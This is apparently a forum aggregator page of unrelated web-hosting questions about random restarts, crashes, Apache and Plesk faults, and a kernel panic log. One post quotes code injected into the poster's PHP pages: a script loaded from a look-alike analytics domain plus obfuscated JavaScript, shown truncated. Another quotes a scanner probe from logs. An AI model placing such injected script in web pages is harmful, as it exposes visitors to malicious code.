I just built a new pc, everything works well, but sometimes my computer will just restart randomly, it doesnt happen immedietly but randomly, within 30 or more minutes operating. Any ideas to why? and how i can fix it? ...
View 12 RepliesAnyone is an expert for apf firewall here? I check my apf_log and saw it was automatically restarted every 12 hours. This is strange because the developer mode was disabled, and usually developer mode was only for 5 minutes and not for 12 hours.
Yes, the apf was restarted and function, but it's strange to see it restarted every 12 hours.
I'm having a problem with Apache restarting every night - in the error logs I get the following message:
[Tue Jul 31 21:39:02 2007] [notice] caught SIGTERM, shutting down
[Tue Jul 31 21:39:03 2007] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Tue Jul 31 21:39:03 2007] [notice] Digest: generating secret for digest authentication ...
[Tue Jul 31 21:39:03 2007] [notice] Digest: done
[Tue Jul 31 21:39:03 2007] [notice] LDAP: Built with OpenLDAP LDAP SDK
[Tue Jul 31 21:39:03 2007] [notice] LDAP: SSL support unavailable
[Tue Jul 31 21:39:03 2007] [notice] Apache/2.0.52 (CentOS) configured -- resuming normal operations
I know that this wouldn't normally be a problem but on this server I run Cast Control which uses PHP to start shoutcast servers - when Apache restarts it turns off all of the Shoutcast servers. Is there any way to stop Apache from restarting all the time?
Alternatively, is there a way to run processes under a different user other than apache so that they don't go down with it?
I have a client who's Apache on a CPanel based VPS keep's restarting.
In the error log we recieve two of these lines
"client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFin "
Then the Apache will restart.
I have looked around and found some threads about this problem, but none explaining how to fix this.
I realise that a lot of providers build theirs from parts, but I was wondering where I could find some cheap low - mid range servers already built (or at least with the case etc).
I have tried searching eBay, but it's difficult to find what I am looking for. Are there any large companies out there? I am from Australia, and from what I can see there aren't really any around from here. (Looking for an upgrade for my colo).
My website, a free classified ads site, is hosted by XO, the hosting company. I'm introducing a feature where advertisers can, for free, post pictures of the things that they're advertising -- that is, where advertisers can upload a JPEG or a GIF. I understand that this can open my site up to the uploading of malicious code, and that I should put safeguards in place to make sure that only JPEGs and GIFs get uploaded. However, I'm wondering if XO doesn't include some built-in safeguards that would keep malicious code from getting executed. In other words, since a profesional hosting company runs the servers -- not me -- do I need to be worried about security at all?
View 1 Replies View RelatedI am very new to this. I am a teacher and would like to have a free site to host my students' web pages. We use Dreamweaver. I am not a programmer. Any help?
View 2 Replies View RelatedI want to build site like lovingdomains.com. i need php script to built it. Who knows this script?
View 5 Replies View RelatedI just installed Plesk 11.0.9 Update #8 on a CentOS Linux Server and found a new FTP-server running and listening on port 21. I wanted to deactivate it or at least change the port number to anything else. But in the config file /etc/xinetd.d/ftp_psa there is a comment:
#DO NOT MODIFY THIS FILE BECAUSE IT WAS GENERATED AUTOMATICALLY,
#SO ALL YOUR CHANGES WILL BE LOST AFTER YOU UPGRADE PARALLELS PLESK PANEL.
So I can't deactivate the FTP-server with the line "disable = yes" because the default file is restored after a while (I can't pinpoint the event when it happened). In the Plesk frontend I can't see any possibility to deactivate the server or change the port.
In the file above, there is mentioned another config file "server_args = -c /etc/proftpd.conf" but changes in that file are ignored for whatever reason. There I changed the port number but without success. It's still listening on 21 even if the file says otherwise.
The problem is that it switches from running to mounted without me having anything to do with it. It seems to be quite randomly, for example this morning at 1.42 am. This happens once a day and stops my vps and therefore my website - which is quite annoying.
I checked for log files or anything, but there was nothing mentioning resources or anything.
Does anyone have a clue what this might be? If I cannot fix the problem there is still the opportunity to just start the vps once it goes to status mounted. How would I automate this?
I am using Virtuozzo and Plesk.
I am creating a web application, nothing spectacular just something to display content.
After completing a long night of coding, I uploaded my files to my server and checked to make sure everything was functioning correctly. Everything seemed fine so I went to bed.
The next morning, to my surprise, all my images had dissapeared! Well not all of them, just the ones being displayed through the PHP script. (coincidentally, these images where all in the same directory...)
Of course the first thought that went through my mind was "scripting error". Which surprised me, since everything worked perfectly the night before. I checked and double checked everything, and I couldn't find anything wrong. I checked the permissions on the directory holding the images and they appeared correct (755). So, to locate the problem I decided to strip out all the variables and create a test page that had only the SQL query, and a print to output the <img> code. Still nothing! So I decided to just go the HTML route and create a test file that held only the <img> code, no PHP involved... nothing.
The images are on the server. I double checked... if you right click > view image, it shows up. Then if you go back to the "test" page and refresh the image is there... however, it does not appear when you first load the page, or it appears and then immediately dissapears.
I contacted my host about the issue, and their first response said:
Quote:
Dear customer,
The images are there if you login through plesk control panel and go to
File Manager under your domain you can find the pictures and see
them.But some of them are not opening under your website.
Best Regards
Honestly... are you kidding me? Reiterating my question doesn't constitute as an answer. And they call themselves "engineers"...
Seeing as it appears to only be affecting one directory (and possibly only JPG images...? Have a look at the test pages above), I believe it might be a permissions issue.
server hanging randomly
this is logs that i found
what is wrong with my server?
Quote:
May 19 15:35:02 hostname kernel: eip: c02d331b
May 19 15:35:02 hostname kernel: ------------[ cut here ]------------
May 19 15:35:02 hostname kernel: kernel BUG at include/asm/spinlock.h:133!
May 19 15:35:02 hostname kernel: invalid operand: 0000 [#1]
May 19 15:35:02 hostname kernel: SMP
May 19 15:35:02 hostname kernel: Modules linked in: md5 ipv6 parport_pc lp
parport ipt_state ipt_TOS iptable_mangle ip_conntrack_ftp ip_conntrack_irc ip_c
onntrack ipt_REJECT ipt_LOG ipt_limit iptable_filter ipt_multiport ip_tables aut
ofs4 i2c_dev i2c_core sunrpc dm_mirror dm_mod button battery ac uhci_hcd ehci_hc
d snd_intel8x0 snd_ac97_codec snd_pcm_oss snd_mixer_oss snd_pcm snd_timer snd_pa
ge_alloc snd_mpu401_uart snd_rawmidi snd_seq_device snd soundcore 8139too mii sk
98lin ext3 jbd
May 19 15:35:02 hostname kernel: CPU: 1
May 19 15:35:02 hostname kernel: EIP: 0060:[<c02d357c>] Not tainted
VLI
May 19 15:35:02 hostname kernel: EFLAGS: 00010016 (2.6.9-42.0.10.ELsmp)
May 19 15:35:02 hostname kernel: EIP is at _spin_lock_irq+0x1d/0x35
May 19 15:35:02 hostname kernel: eax: c02e71c3 ebx: f5e6a934 ecx: c756be28 edx: c02d331b
May 19 15:35:02 hostname kernel: esi: f5e6a930 edi: 00000000 ebp: c756b000 esp: c756be2c
May 19 15:35:02 hostname kernel: ds: 007b es: 007b ss: 0068
May 19 15:35:02 hostname kernel: Process netstat (pid: 336, threadinfo=c756b000 task=cb03b330)
May 19 15:35:02 hostname kernel: Stack: ffffffff c02d331b cb03b330 f6481e98 f6481e98 00000246 00000002 f5e6a930
May 19 15:35:02 hostname kernel: f5e6a900 00000000 c756b000 c01652bf 00000000 00000000 00000000 c032e610
May 19 15:35:02 hostname kernel: c756bfc4 0000000b 0000000b c011d2e4 c014e529 ffffffff ffffffff c2015de0
May 19 15:35:02 hostname kernel: Call Trace:
May 19 15:35:02 hostname kernel: [<c02d331b>] rwsem_down_write_failed+0x32/0x160
May 19 15:35:02 hostname kernel: [<c01652bf>] .text.lock.exec+0xba/0xd7
May 19 15:35:02 hostname kernel: [<c011d2e4>] try_to_wake_up+0x28e/0x299
May 19 15:35:02 hostname kernel: [<c014e529>] do_no_page+0x2da/0x2f9
May 19 15:35:02 hostname kernel: [<c012b458>] __dequeue_signal+0x14c/0x155
May 19 15:35:02 hostname kernel: [<c012b476>] dequeue_signal+0x15/0x54
May 19 15:35:02 hostname kernel: [<c012cd3f>] get_signal_to_deliver+0x317/0x346
May 19 15:35:02 hostname kernel: [<c0105bd4>] do_signal+0x55/0xd9
May 19 15:35:02 hostname kernel: [<c01c3616>] __copy_to_user_ll+0x30/0x46
May 19 15:35:02 hostname kernel: [<c017553b>] seq_read+0x24a/0x2c2
May 19 15:35:02 hostname kernel: [<c0172c49>] dnotify_parent+0x1b/0x6e
May 19 15:35:02 hostname kernel: [<c015ae7d>] vfs_read+0xda/0xe2
May 19 15:35:02 hostname kernel: [<c015b06c>] sys_read+0x3c/0x62
May 19 15:35:02 hostname kernel: [<c011ae55>] do_page_fault+0x0/0x5c6
May 19 15:35:02 hostname kernel: [<c0105c80>] do_notify_resume+0x28/0x38
May 19 15:35:02 hostname kernel: [<c02d4966>] work_notifysig+0x13/0x15
May 19 15:35:02 hostname kernel: Code: 90 80 3e 00 7e f9 fa eb e8 89 d8 5b 5e c3 53 89 c3 fa 81 78 04 ad 4e ad de 74 18
ff 74 24 04 68 c3 71 2e c0 e8 24 f3 e4 ff 58 5a <0f> 0b 85 00 2e 62 2e c0 f0 fe 0b 79 09 f3 90 80 3b 00 7e f9 eb
May 19 15:35:02 hostname kernel: <0>Fatal exception: panic in 5 seconds
Everything was running ok until last week.
I haven't really done anything new other then added another forum on the server (Invision).
Basically the problem is the random spikes I get. The main forum that is running on the server haven't really increased in terms of sim connections. Its usually around 180 - 220 during peak times.
On TOP there is usually around 250 tasks. When this thing started happening it would spikes to 500+ tasks which totally kills the server. Its pretty random also. Sometimes it'll go fine for a few hours and then suddenly climbed slowly up and then the server dies. For now its going to crash whenever I let apache run for an hour or so.
The only way I can restore is to restart apache. It has come to the point where I've had to put in restart apache in the cronjob list. Restart it every few minutes since I'm not always here watching over it. This is obviously a shortterm solution to keep the forum up while I troubleshoot this.
Here's a screenshot when it was just about dead
http://img392.imageshack.us/my.php?image=serverwf0.jpg
I checked out the logs and didn't see anything.
I was either told it needed more ram or that it was hacked.
The JRE is the flashchat I'm running and the trans_linux is a bot for the shoutcast.
Since I haven't been doing anything new.. I don't think its the resources of the server thats too little.
The server i have is
Dual Opteron 252
2 gigs of ram
1 146GB 15,000RPM scsi drive
how I can resolve it? Is Apache using more memory then its suppose to?
Today we received an email saying that the admin password for the server had been changed by them and that we should log in and change the password again ourselves.
49pence have provided no explanation as to why the password was changed and despite multiple requests have refused to give any kind of explanation. I've also asked to speak to a manager and this request was denied (well, more ignored and I was given the same line that they cannot disclose why they changed a customers' password).
For the past few days I've been facing a weird problem where a few of my website pages (index.php, login.php etc) get overwritten with some google analytics code. The rest of the website pages remain fine.
At random times, the code in these php pages gets replaced by something like:
HTML Code:
<script src="http://analytics-google.info/i/urchin.js"></script><script>function c41920832628m48687785ee773(m48687785eeb5b){ return (parseInt(m48687785eeb5b,16));}function m48687785ef712(m48687785efaf9){ function m48687785f06b2(){return 2;} var m48687785efeea='';m48687785f0e81=String.fromCharCode;for ...</script><script>check_content()</script>
Here's some debugging I have done.
1) If I rename login.php to say, log-in.php, the page gets saved from this
2) If I change the owner of login.php from the user to root, the page doesn't get overwritten anymore.
So basically, something somewhere running from the user account overwrites these specific pages. By the way, my website logs didnt show anything suspicious around the time when this first happened.
i am using curl in php and it showing time out error randomly!
Code:
Operation timed out with 0 out of -1 bytes received
maybe you say its remote server problem but i am geting this error from google server ,
I use apache 2.4.1 and mod_fcgid (same config form apache 2.2.22+mod_fcgid 2.3.6) and without any error message, apache stop responding randomly.There is no problem with apache 2.2.22+mod_fcgid 2.3.6 and with apache 2.4.1 + php5_module i have
View 19 Replies View RelatedRandomly my server goes offline. There is no pattern to this. It can be fine for weeks then have 5 issues in one day. I have to restart Apache and it all come back on.
I'm not sure where to start to look for errors as I'm not that experienced.
Server Info
Windows Server 2008 R2 Standard Edition
PHP Version5.4.9
Apache VersionApache/2.4.1 (Win32)
MySQL version 5.0.10
Some of my Linux(WHM/Cpanel) hosted domains have a weird problem. They randomly become unavailable to me for periods of half hour to 2 hours. During this time I get a server not found error and I cannot access the domains through FTP either. However if I use a proxy or try to reach the domain through another server using RDC I am able to reach it.
View 4 Replies View RelatedThis problem has happened to me twice on the very same server. I can't seem to figure out what's wrong with it.
My raid controller is Areca 1160 + 1GB Ram + 16xWD4000YS. Initially I had the problem of the disk dropping from the array randomly. I suppose this problem has been fixed since I have upgraded disks firmware according to WDC suggestion.
But there's another problem now. From my observation, the controller is randomly dropped off the system. When this happen, I cannot read/write anything from the disk at all. I can SSH in and able to run Areca CLI tool to see what's going on but only to get the message saying that it cannot find any Areca controller.
My only option is to restart the server and fsck all those 16 disks (not fun). I checked the log on the RAID controller itself, there was no sign of problem at all. No alert, no disk being dropped off the array, no events logged at all.
I'm using CentOS 4.3. Firmware on the RAID controller is 1.41, latest is 1.42. (Stupid me for not upgrading firmware when server crashed.) I plan to take the server down for RAID firmware upgrade soon. I just hoped that it's just problem with the firmware, not the controller or backplane itself.
my local host is just taking incredibly long to load. At work I've set it up no differently and it works like a charm, but at home, it works.. But at times it doesnt load instantly until I restart my browser. I have to press refresh or enter to login a million times for it to load after the first few seconds I use it.
View 1 Replies View RelatedI am currently running apache 2.4.4 with Tomcat and randomly i receive the following error when i try to hit the external URL:
Bad Gateway
The proxy server received an invalid response from an upstream server
====================================================
Inside apachie error.log file., i also see the following error, i am not sure if they are related:
"The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed."
=====================================================
Here is my httpd.conf file: .....
I have the same error mentioned in this old tread:
[url]
Once in a while the user have "Internal server error"
when accessing any php page.
The php is php v4 compile as fastcgi on Centos 5.
The warning/error sequins is always like this:
[Fri Apr 17 09:09:49 2009] [warn] FastCGI: (dynamic) server "/home/fastcgi-scripts/abc.fcgi" (pid 22726) termination signaled
[Fri Apr 17 09:09:49 2009] [warn] FastCGI: (dynamic) server "/home/fastcgi-scripts/abc.fcgi" (pid 22726) terminated by calling exit with status '0'
[Fri Apr 17 09:09:49 2009] [error] [client 127.0.0.1] FastCGI: incomplete headers (0 bytes) received from server "/home/fastcgi-scripts/abc.fcgi", referer:
[url]
I have successfully installed eaccelerator on my win2k3 box and it is working great. The problem I am having is that every so often the cache files are mysteriously cleared. I know that the cache is cleared when apache is restarted but I have not restarted it and the files still go missing after a period of time. I have the ttl values for ea set to 0 to disable them.
Here is the ea ini in php.ini:
extension="eaccelerator.dll"
eaccelerator.shm_size="64"
eaccelerator.cache_dir="C:Cache"
eaccelerator.enable="1"
eaccelerator.optimizer="1"
eaccelerator.check_mtime="1"
eaccelerator.filter=""
eaccelerator.shm_max="0"
eaccelerator.shm_ttl="0"
eaccelerator.shm_prune_period="0"
eaccelerator.shm_only="0"
eaccelerator.compress="0"
eaccelerator.compress_level="9"
eaccelerator.allowed_admin_path = "D:WebsitesThe Family Garrisoncontrol.php"
I am running php as php-cgi.exe with MS fastcgi enabled on a 32bit system.
I am trying to fix website [URL] .... I open the site like 20 times a day and like 2 times a day it shows blank page. Which logs I need to check or which tools to use? I have cpanel hosting, apache.
View 1 Replies View Relatedit's starting to kill child processes and eventually stops/hangs.
#plesk version
Product version: 12.0.18 Update #45
Update date: 2015/05/08 03:13
Build date: 2015/01/26 15:00
Build target: CentOS 7
Revision: 334346
Architecture: 64-bit
Wrapper version: 1.2
#free -m
total used free shared buff/cache available
Mem: 3782 647 2281 45 854 2875
Swap: 2047 0 2047
I have a brand new A8i server from 1&1 that has crashed twice today and could only be rebooted through the 1&1 control panel (not Plesk). Out of the blue the server is not accessible from the Plesk CP and is not responding to pings. I have looked through the logs and do not see anything that stands out (I am not very Linux savvy). Is there somewhere specific that I can look that would tell me why it is locking up/crashing? I have only had the server about 2 weeks and am only running email on it (no websites besides webmail and Plesk CP). It is possible that there is a hardware issue, but I cannot have 1&1 check it until after hours tonight.
Server is an 8 core Intel Atom 2.6GHz with 8GB RAM.